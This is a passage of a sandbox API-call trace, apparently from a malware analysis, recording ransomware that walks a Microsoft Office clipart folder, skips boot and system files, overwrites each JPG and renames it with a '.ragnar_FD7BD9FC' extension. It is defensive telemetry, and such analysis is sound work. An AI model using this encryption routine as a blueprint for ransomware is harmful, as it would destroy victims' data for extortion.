dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8fb8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.572] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.572] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8fb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.572] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.572] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.572] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.573] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.573] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.573] GetProcessHeap () returned 0x580000 [0084.573] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.573] CloseHandle (hObject=0xf4) returned 1 [0084.573] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" [0084.573] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.ragnar_FD7BD9FC" [0084.573] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.574] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d84e00, ftCreationTime.dwHighDateTime=0x1c026b6, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5d84e00, ftLastWriteTime.dwHighDateTime=0x1c026b6, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1 [0084.574] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.574] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0145879.JPG" | out: lpString1="J0145879.JPG") returned="J0145879.JPG" [0084.574] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned=".JPG" [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="autorun.inf") returned 1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="boot.ini") returned 1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="bootfont.bin") returned 1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="bootsect.bak") returned 1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="bootmgr") returned 1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="bootmgr.efi") returned 1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="bootmgfw.efi") returned 1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="desktop.ini") returned 1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="iconcache.db") returned 1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="ntldr") returned -1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="ntuser.dat") returned -1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="ntuser.dat.log") returned -1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="ntuser.ini") returned -1 [0084.574] lstrcmpiW (lpString1="J0145879.JPG", lpString2="thumbs.db") returned -1 [0084.574] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.574] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.574] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.574] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.574] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.574] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.574] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg")) returned 0x20 [0084.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.575] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=35419) returned 1 [0084.575] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8a52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.576] GetProcessHeap () returned 0x580000 [0084.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.576] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.577] VirtualAlloc (lpAddress=0x0, dwSize=0x8a5b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.577] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8a5b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8a5b, lpOverlapped=0x0) returned 1 [0084.579] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.579] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8a5b, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.579] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8a5b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8a5b, lpOverlapped=0x0) returned 1 [0084.579] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8a5b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.579] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.580] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8a5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.580] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.580] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.580] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.580] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.580] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.580] GetProcessHeap () returned 0x580000 [0084.580] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.580] CloseHandle (hObject=0xf4) returned 1 [0084.580] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" [0084.580] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.ragnar_FD7BD9FC" [0084.580] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.581] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7962500, ftCreationTime.dwHighDateTime=0x1c03d89, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7962500, ftLastWriteTime.dwHighDateTime=0x1c03d89, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1 [0084.581] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.581] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0145895.JPG" | out: lpString1="J0145895.JPG") returned="J0145895.JPG" [0084.581] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned=".JPG" [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="autorun.inf") returned 1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="boot.ini") returned 1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="bootfont.bin") returned 1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="bootsect.bak") returned 1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="bootmgr") returned 1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="bootmgr.efi") returned 1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="bootmgfw.efi") returned 1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="desktop.ini") returned 1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="iconcache.db") returned 1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="ntldr") returned -1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="ntuser.dat") returned -1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="ntuser.dat.log") returned -1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="ntuser.ini") returned -1 [0084.581] lstrcmpiW (lpString1="J0145895.JPG", lpString2="thumbs.db") returned -1 [0084.581] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.581] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.581] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.581] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.581] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.581] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.581] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg")) returned 0x20 [0084.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.582] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33958) returned 1 [0084.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x849d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.582] GetProcessHeap () returned 0x580000 [0084.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.582] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.584] VirtualAlloc (lpAddress=0x0, dwSize=0x84a6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.584] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.584] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.584] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x84a6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x84a6, lpOverlapped=0x0) returned 1 [0084.585] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.586] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x84a6, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.586] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x84a6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x84a6, lpOverlapped=0x0) returned 1 [0084.586] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x84a6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.586] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.586] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x84a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.586] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.586] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.586] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.587] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.587] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.587] GetProcessHeap () returned 0x580000 [0084.587] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.587] CloseHandle (hObject=0xf4) returned 1 [0084.587] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" [0084.587] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.ragnar_FD7BD9FC" [0084.587] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.587] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912cb00, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa912cb00, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1 [0084.587] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.587] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0145904.JPG" | out: lpString1="J0145904.JPG") returned="J0145904.JPG" [0084.588] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned=".JPG" [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="autorun.inf") returned 1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="boot.ini") returned 1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="bootfont.bin") returned 1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="bootsect.bak") returned 1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="bootmgr") returned 1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="bootmgr.efi") returned 1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="bootmgfw.efi") returned 1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="desktop.ini") returned 1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="iconcache.db") returned 1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="ntldr") returned -1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="ntuser.dat") returned -1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="ntuser.dat.log") returned -1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="ntuser.ini") returned -1 [0084.588] lstrcmpiW (lpString1="J0145904.JPG", lpString2="thumbs.db") returned -1 [0084.588] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.588] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.588] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.588] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.588] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.588] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.588] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg")) returned 0x20 [0084.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.589] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=39542) returned 1 [0084.589] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9a6d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.589] GetProcessHeap () returned 0x580000 [0084.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.589] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.590] VirtualAlloc (lpAddress=0x0, dwSize=0x9a76, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.590] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.590] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.590] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9a76, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9a76, lpOverlapped=0x0) returned 1 [0084.592] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.592] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9a76, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.592] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9a76, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9a76, lpOverlapped=0x0) returned 1 [0084.593] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9a76, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.593] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.594] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9a76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.594] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.594] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.594] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, 